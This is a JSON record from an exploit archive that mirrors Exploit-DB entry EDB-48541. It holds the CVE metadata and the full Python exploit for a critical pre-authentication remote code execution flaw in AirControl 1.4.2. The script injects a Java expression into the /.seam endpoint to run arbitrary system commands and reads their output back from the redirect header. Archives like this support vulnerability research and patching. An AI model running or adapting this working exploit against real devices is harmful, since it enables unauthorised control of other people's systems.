{"exploit":{"id":"EDB-48541","name":"AirControl 1.4.2 - Unauthenticated Remote Code Execution (RCE)","description":"AirControl 1.4.2 - Unauthenticated Remote Code Execution (RCE)","cves":["CVE-2020-37052"],"author":"0xd0ff9","published":"2020-06-04","platform":"hardware","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48541","path":"exploits/hardware/webapps/48541.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48541.py","vulnerabilities":[{"id":"CVE-2020-37052","state":"PUBLISHED","title":"AirControl 1.4.2 - PreAuth Remote Code Execution","titleSource":"CVE Program","description":"AirControl 1.4.2 contains a pre-authentication remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary system commands through malicious Java expression injection. Attackers can exploit the /.seam endpoint by crafting a specially constructed URL with embedded Java expressions to run commands with the application's system privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37052","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-37052"},"updatedAt":"2026-02-02T20:05:43.002Z","retrievedAt":"2026-11-27T05:07:53.491Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48541.png?v=2","url":"https://exploitbin.com/exploits/EDB-48541","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48541/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48541/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: AirControl 1.4.2 - PreAuth Remote Code Execution\n# Date: 2020-06-03\n# Exploit Author: 0xd0ff9 vs j3ssie\n# Vendor Homepage: https://www.ui.com/\n# Software Link: https://www.ui.com/download/#!utilities\n# Version: AirControl <= 1.4.2\n# Signature: https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/aircontrol-rce.yaml\n\nimport requests\nimport re\nimport urllib\nimport sys\n\n\nprint \"\"\"USAGE: python exploit_aircontrol.py [url] [cmd]\"\"\"\n\n\nurl = sys.argv[1]\ncmd = sys.argv[2]\n\n\nburp0_url = url +\"/.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.io.BufferedReader').getDeclaredMethod('readLine').invoke(''.getClass().forName('java.io.BufferedReader').getConstructor(''.getClass().forName('java.io.Reader')).newInstance(''.getClass().forName('java.io.InputStreamReader').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Process').getDeclaredMethod('getInputStream').invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(null),'\"+cmd+\"')))))}\"\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Doflamingo) Chrome/80.0.3984.0 Safari/537.36\", \"Connection\": \"close\"}\nr = requests.get(burp0_url, headers=burp0_headers, verify=False, allow_redirects=False)\n\nLocat =  r.headers[\"Location\"]\n\nres = re.search(\"pwned=(.*)(&cid=.*)\",Locat).group(1)\n\nprint \"[Result CMD] \",cmd,\": \",urllib.unquote_plus(res)","sha256":"e027455f9e5adef63a0e97233625e1a78562e039af319a4e6690da5551479c05","bytes":1558,"fetchedAt":"2026-11-27T05:07:53.369Z","encoding":"utf-8 (display only; download retains original bytes)"}